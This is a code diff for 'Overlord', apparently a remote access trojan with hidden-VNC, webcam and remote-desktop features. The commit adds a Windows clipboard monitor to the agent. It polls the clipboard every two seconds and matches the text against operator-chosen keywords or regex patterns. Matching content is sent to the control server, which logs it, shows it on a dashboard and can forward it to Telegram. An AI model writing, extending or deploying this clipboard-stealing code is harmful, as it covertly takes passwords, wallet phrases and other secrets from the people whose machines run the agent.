diff --git a/Overlord-Client/cmd/agent/activewindow/activewindow_windows.go b/Overlord-Client/cmd/agent/activewindow/activewindow_windows.go index c00a2d2..78b61f3 100644 --- a/Overlord-Client/cmd/agent/activewindow/activewindow_windows.go +++ b/Overlord-Client/cmd/agent/activewindow/activewindow_windows.go @@ -91,23 +91,6 @@ func Start(ctx context.Context, env *runtime.Env) error { } } -func matchKeyword(title string, keywords []string) string { - if title == "" { - return "" - } - lower := strings.ToLower(title) - for _, kw := range keywords { - k := strings.ToLower(strings.TrimSpace(kw)) - if k == "" { - continue - } - if strings.Contains(lower, k) { - return kw - } - } - return "" -} - func getActiveWindow() (string, uint32) { hwnd := getForegroundWindow() if hwnd == 0 { diff --git a/Overlord-Client/cmd/agent/activewindow/clipboard_stub.go b/Overlord-Client/cmd/agent/activewindow/clipboard_stub.go new file mode 100644 index 0000000..e094de5 --- /dev/null +++ b/Overlord-Client/cmd/agent/activewindow/clipboard_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package activewindow + +import ( + "context" + + "overlord-client/cmd/agent/runtime" +) + +func StartClipboard(_ context.Context, _ *runtime.Env) error { + return nil +} diff --git a/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go b/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go new file mode 100644 index 0000000..2203c64 --- /dev/null +++ b/Overlord-Client/cmd/agent/activewindow/clipboard_windows.go @@ -0,0 +1,127 @@ +//go:build windows + +package activewindow + +import ( + "context" + "log" + "strings" + "time" + "unsafe" + + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "golang.org/x/sys/windows" +) + +var ( + kernel32 = windows.NewLazySystemDLL("kernel32.dll") + procGlobalLock = kernel32.NewProc("GlobalLock") + procGlobalUnlock = kernel32.NewProc("GlobalUnlock") + + procOpenClipboard = user32.NewProc("OpenClipboard") + procCloseClipboard = user32.NewProc("CloseClipboard") + procGetClipboardData = user32.NewProc("GetClipboardData") +) + +const cfUnicodeText = 13 + +func StartClipboard(ctx context.Context, env *runtime.Env) error { + if env == nil { + return nil + } + log.Printf("clipboard: starting monitor") + defer log.Printf("clipboard: stopped") + + ticker := time.NewTicker(2 * time.Second) + defer ticker.Stop() + + var lastContent string + lastSent := make(map[string]int64) + + for { + select { + case <-ctx.Done(): + return nil + case <-ticker.C: + if !env.GetClipboardEnabled() { + continue + } + keywords := env.GetNotificationKeywords() + if len(keywords) == 0 { + continue + } + minIntervalMs := env.GetNotificationMinIntervalMs() + content := readClipboardText() + if content == "" || content == lastContent { + continue + } + lastContent = content + match := matchKeyword(content, keywords) + if match == "" { + continue + } + if minIntervalMs > 0 { + key := "clipboard:" + strings.ToLower(match) + if last, ok := lastSent[key]; ok { + if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond { + continue + } + } + lastSent[key] = time.Now().UnixMilli() + } + title := content + if len(title) > 300 { + title = title[:300] + } + note := wire.Notification{ + Type: "notification", + Category: "clipboard", + Title: title, + Keyword: match, + TS: time.Now().UnixMilli(), + } + if err := wire.WriteMsg(ctx, env.Conn, note); err != nil { + log.Printf("clipboard: send notification failed: %v", err) + } + } + } +} + +func readClipboardText() string { + r, _, _ := procOpenClipboard.Call(0) + if r == 0 { + return "" + } + defer procCloseClipboard.Call() + h, _, _ := procGetClipboardData.Call(cfUnicodeText) + if h == 0 { + return "" + } + ptr, _, _ := procGlobalLock.Call(h) + if ptr == 0 { + return "" + } + defer procGlobalUnlock.Call(h) + return utf16PtrFromUintptr(ptr) +} + +func utf16PtrFromUintptr(ptr uintptr) string { + if ptr == 0 { + return "" + } + n := 0 + for { + v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2)) + if v == 0 { + break + } + n++ + if n > 1<<20 { + break + } + } + u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n) + return windows.UTF16ToString(u16) +} diff --git a/Overlord-Client/cmd/agent/activewindow/match.go b/Overlord-Client/cmd/agent/activewindow/match.go new file mode 100644 index 0000000..44db9f7 --- /dev/null +++ b/Overlord-Client/cmd/agent/activewindow/match.go @@ -0,0 +1,55 @@ +package activewindow + +import ( + "regexp" + "strings" +) + +func matchKeyword(text string, keywords []string) string { + if text == "" { + return "" + } + lower := strings.ToLower(text) + for _, kw := range keywords { + trimmed := strings.TrimSpace(kw) + if trimmed == "" { + continue + } + if strings.HasPrefix(trimmed, "/") { + re, ok := parseRegexKeyword(trimmed) + if ok && re.MatchString(text) { + return kw + } + } else { + if strings.Contains(lower, strings.ToLower(trimmed)) { + return kw + } + } + } + return "" +} + +func parseRegexKeyword(kw string) (*regexp.Regexp, bool) { + if !strings.HasPrefix(kw, "/") { + return nil, false + } + rest := kw[1:] + lastSlash := strings.LastIndex(rest, "/") + if lastSlash < 0 { + return nil, false + } + pattern := rest[:lastSlash] + flags := rest[lastSlash+1:] + if pattern == "" { + return nil, false + } + regexStr := pattern + if strings.ContainsRune(flags, 'i') { + regexStr = "(?i)" + pattern + } + re, err := regexp.Compile(regexStr) + if err != nil { + return nil, false + } + return re, true +} diff --git a/Overlord-Client/cmd/agent/handlers/hello_ack.go b/Overlord-Client/cmd/agent/handlers/hello_ack.go index 3cd6a5b..34c1d8d 100644 --- a/Overlord-Client/cmd/agent/handlers/hello_ack.go +++ b/Overlord-Client/cmd/agent/handlers/hello_ack.go @@ -16,6 +16,7 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int var keywords []string minInterval := 0 + clipboardEnabled := false if raw, ok := envelope["notification"].(map[string]interface{}); ok { if rawKeywords, ok := raw["keywords"].([]interface{}); ok { @@ -34,11 +35,14 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int if v, ok := raw["minIntervalMs"].(int); ok { minInterval = v } + if v, ok := raw["clipboardEnabled"].(bool); ok { + clipboardEnabled = v + } } if len(keywords) > 0 || minInterval > 0 { - env.SetNotificationConfig(keywords, minInterval) - log.Printf("hello ack: loaded %d notification keywords", len(keywords)) + env.SetNotificationConfig(keywords, minInterval, clipboardEnabled) + log.Printf("hello ack: loaded %d notification keywords clipboard=%v", len(keywords), clipboardEnabled) } return nil } diff --git a/Overlord-Client/cmd/agent/handlers/notification_config.go b/Overlord-Client/cmd/agent/handlers/notification_config.go index 33b3be7..ad2056c 100644 --- a/Overlord-Client/cmd/agent/handlers/notification_config.go +++ b/Overlord-Client/cmd/agent/handlers/notification_config.go @@ -15,6 +15,7 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[ var keywords []string minInterval := 0 + clipboardEnabled := false if raw, ok := envelope["keywords"].([]interface{}); ok { for _, v := range raw { @@ -32,8 +33,11 @@ func HandleNotificationConfig(_ context.Context, env *runtime.Env, envelope map[ if v, ok := envelope["minIntervalMs"].(int); ok { minInterval = v } + if v, ok := envelope["clipboardEnabled"].(bool); ok { + clipboardEnabled = v + } - env.SetNotificationConfig(keywords, minInterval) - log.Printf("notification_config: loaded %d keywords", len(keywords)) + env.SetNotificationConfig(keywords, minInterval, clipboardEnabled) + log.Printf("notification_config: loaded %d keywords clipboard=%v", len(keywords), clipboardEnabled) return nil } diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go index 9fd5294..8dad3b7 100644 --- a/Overlord-Client/cmd/agent/runtime/env.go +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -46,15 +46,17 @@ type Env struct { NotificationMu sync.RWMutex NotificationKeywords []string NotificationMinIntervalMs int + NotificationClipboard bool LastPongUnixMs int64 } -func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) { +func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) { e.NotificationMu.Lock() e.NotificationKeywords = keywords if minIntervalMs > 0 { e.NotificationMinIntervalMs = minIntervalMs } + e.NotificationClipboard = clipboardEnabled e.NotificationMu.Unlock() } @@ -75,6 +77,12 @@ func (e *Env) GetNotificationMinIntervalMs() int { return e.NotificationMinIntervalMs } +func (e *Env) GetClipboardEnabled() bool { + e.NotificationMu.RLock() + defer e.NotificationMu.RUnlock() + return e.NotificationClipboard +} + func (e *Env) SetLastPong(tsMillis int64) { if tsMillis <= 0 { tsMillis = time.Now().UnixMilli() diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 8d1e866..88f9261 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -482,6 +482,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. } }) + goSafe("clipboard", nil, func() { + if err := activewindow.StartClipboard(ctx, env); err != nil { + log.Printf("clipboard error: %v", err) + } + }) + return <-readErr } diff --git a/Overlord-Server/public/assets/notifications.js b/Overlord-Server/public/assets/notifications.js index 86ec28f..ee48ea9 100644 --- a/Overlord-Server/public/assets/notifications.js +++ b/Overlord-Server/public/assets/notifications.js @@ -15,6 +15,7 @@ const notificationScopeHint = document.getElementById("notification-scope-hint") // Keyword section const keywordSection = document.getElementById("keyword-section"); const keywordInput = document.getElementById("keyword-input"); +const clipboardEnabledInput = document.getElementById("clipboard-enabled"); const saveKeywordsBtn = document.getElementById("save-keywords"); const keywordHint = document.getElementById("keyword-hint"); @@ -176,6 +177,10 @@ function wireToggle(inputEl, btnEl) { // ── Notification table row ──────────────────────────────────────────────────── function renderRow(item, prepend = true) { if (!listEl) return; + const isClipboard = item.category === "clipboard"; + const sourceBadge = isClipboard + ? ` clipboard` + : ` window`; const row = document.createElement("tr"); row.className = "border-t border-slate-800/60"; row.innerHTML = ` @@ -185,6 +190,7 @@ function renderRow(item, prepend = true) { ${escapeHtml(item.title || "-")} ${escapeHtml(item.process || "-")} ${escapeHtml(item.keyword || "-")} + ${sourceBadge}
`; @@ -283,6 +289,9 @@ async function loadKeywords() { const keywords = data?.notifications?.keywords || []; keywordInput.value = keywords.join("\n"); renderKeywordHint(keywords.length); + if (clipboardEnabledInput) { + clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true; + } } catch {} } @@ -290,11 +299,12 @@ function wireKeywordSave() { if (!saveKeywordsBtn || !keywordInput) return; saveKeywordsBtn.addEventListener("click", async () => { const keywords = parseKeywords(keywordInput.value); + const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false; try { const res = await fetch("/api/notifications/config", { method: "PUT", headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ keywords }), + body: JSON.stringify({ keywords, clipboardEnabled }), }); if (!res.ok) { window.showToast?.("Failed to save keywords", "error", 4000); @@ -304,6 +314,9 @@ function wireKeywordSave() { const updated = data?.notifications?.keywords || keywords; keywordInput.value = updated.join("\n"); renderKeywordHint(updated.length); + if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") { + clipboardEnabledInput.checked = data.notifications.clipboardEnabled; + } window.showToast?.("Keywords updated", "success", 3000); } catch { window.showToast?.("Failed to save keywords", "error", 4000); diff --git a/Overlord-Server/public/notifications.html b/Overlord-Server/public/notifications.html index fedb16f..348992c 100644 --- a/Overlord-Server/public/notifications.html +++ b/Overlord-Server/public/notifications.html @@ -35,7 +35,7 @@

Notifications

- Active window alerts based on configured title keywords + Active window & clipboard alerts based on configured keyword patterns

@@ -55,7 +55,7 @@

Keyword Configuration

- One keyword per line. Changes apply to connected agents immediately. (Shared global setting) + One keyword per line — plain substring or /regex/i syntax. Changes apply to connected agents immediately. (Shared global setting)

@@ -267,9 +271,10 @@ Time Client User - Window Title + Title / Content Process Keyword + Source Preview diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts index 151d54c..0443409 100644 --- a/Overlord-Server/src/config.ts +++ b/Overlord-Server/src/config.ts @@ -39,6 +39,7 @@ export interface Config { telegramEnabled: boolean; telegramBotToken: string; telegramChatId: string; + clipboardEnabled: boolean; }; security: { sessionTtlHours: number; @@ -88,6 +89,7 @@ const DEFAULT_CONFIG: Config = { telegramEnabled: false, telegramBotToken: "", telegramChatId: "", + clipboardEnabled: false, }, security: { sessionTtlHours: 168, @@ -366,6 +368,10 @@ export function loadConfig(): Config { process.env.OVERLORD_NOTIFICATION_TELEGRAM_CHAT_ID || fileConfig.notifications?.telegramChatId || DEFAULT_CONFIG.notifications.telegramChatId, + clipboardEnabled: + String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" || + fileConfig.notifications?.clipboardEnabled || + DEFAULT_CONFIG.notifications.clipboardEnabled, }, security: { sessionTtlHours: diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 14338b0..dc642a9 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -35,6 +35,7 @@ export type HelloAck = { notification?: { keywords: string[]; minIntervalMs?: number; + clipboardEnabled?: boolean; }; }; export type Ping = { type: "ping"; ts?: number }; @@ -271,6 +272,7 @@ export type NotificationConfig = { type: "notification_config"; keywords: string[]; minIntervalMs?: number; + clipboardEnabled?: boolean; }; export type WireMessage = diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts index dc65ac0..b3f4750 100644 --- a/Overlord-Server/src/server/routes/notifications-config-routes.ts +++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts @@ -100,6 +100,35 @@ export async function handleNotificationsConfigRoutes( .filter(Boolean) .slice(0, 200); + for (const kw of keywords) { + if (kw.startsWith("/")) { + const lastSlash = kw.lastIndexOf("/", kw.length - 1); + if (lastSlash <= 0) { + return Response.json( + { error: `Invalid regex keyword (missing closing /): ${kw}` }, + { status: 400 }, + ); + } + const pattern = kw.slice(1, lastSlash); + const flags = kw.slice(lastSlash + 1); + const invalidFlags = flags.replace(/[gimsuy]/g, ""); + if (invalidFlags.length > 0) { + return Response.json( + { error: `Invalid regex flags '${invalidFlags}' in keyword: ${kw}` }, + { status: 400 }, + ); + } + try { + new RegExp(pattern, flags); + } catch (e: any) { + return Response.json( + { error: `Invalid regex in keyword '${kw}': ${e?.message ?? e}` }, + { status: 400 }, + ); + } + } + } + const webhookEnabled = typeof body?.webhookEnabled === "boolean" ? body.webhookEnabled @@ -120,6 +149,10 @@ export async function handleNotificationsConfigRoutes( typeof body?.telegramChatId === "string" ? body.telegramChatId.trim() : currentConfig.telegramChatId || ""; + const clipboardEnabled = + typeof body?.clipboardEnabled === "boolean" + ? body.clipboardEnabled + : currentConfig.clipboardEnabled || false; if (webhookUrl) { try { @@ -142,6 +175,7 @@ export async function handleNotificationsConfigRoutes( telegramEnabled, telegramBotToken, telegramChatId, + clipboardEnabled, }); for (const client of clientManager.getAllClients().values()) { @@ -152,6 +186,7 @@ export async function handleNotificationsConfigRoutes( type: "notification_config", keywords: updated.keywords || [], minIntervalMs: updated.minIntervalMs || 8000, + clipboardEnabled: updated.clipboardEnabled || false, }), ); } catch {} diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index c9acce1..4bc6b4b 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -31,7 +31,7 @@ type WsLifecycleDeps = { rdStreamingState: Map; hvncStreamingState: Map; webcamStreamingState: Map; - getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number }; + getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number; clipboardEnabled?: boolean }; handleDashboardViewerOpen: (ws: ServerWebSocket) => void; handleConsoleViewerOpen: (ws: ServerWebSocket) => void; handleRemoteDesktopViewerOpen: (ws: ServerWebSocket) => void; @@ -121,6 +121,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket, deps: WsLif notification: { keywords: notificationConfig.keywords || [], minIntervalMs: notificationConfig.minIntervalMs || 8000, + clipboardEnabled: notificationConfig.clipboardEnabled || false, }, }), ); diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 88d691b..76245b7 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -19,7 +19,7 @@ type NotificationRecord = { processPath?: string; pid?: number; keyword?: string; - category: "active_window"; + category: "active_window" | "clipboard"; ts: number; screenshotId?: string; }; @@ -210,7 +210,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { return; } const info = clientManager.getClient(clientId); - logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} title=${title}`); + const category: "active_window" | "clipboard" = + payload.category === "clipboard" ? "clipboard" : "active_window"; + logger.info(`[notify] client=${clientId} keyword=${keyword || "-"} category=${category} title=${title}`); const record: NotificationRecord = { id: uuidv4(), clientId, @@ -222,7 +224,7 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { processPath: typeof payload.processPath === "string" ? payload.processPath : "", pid: Number(payload.pid) || undefined, keyword, - category: "active_window", + category, ts, };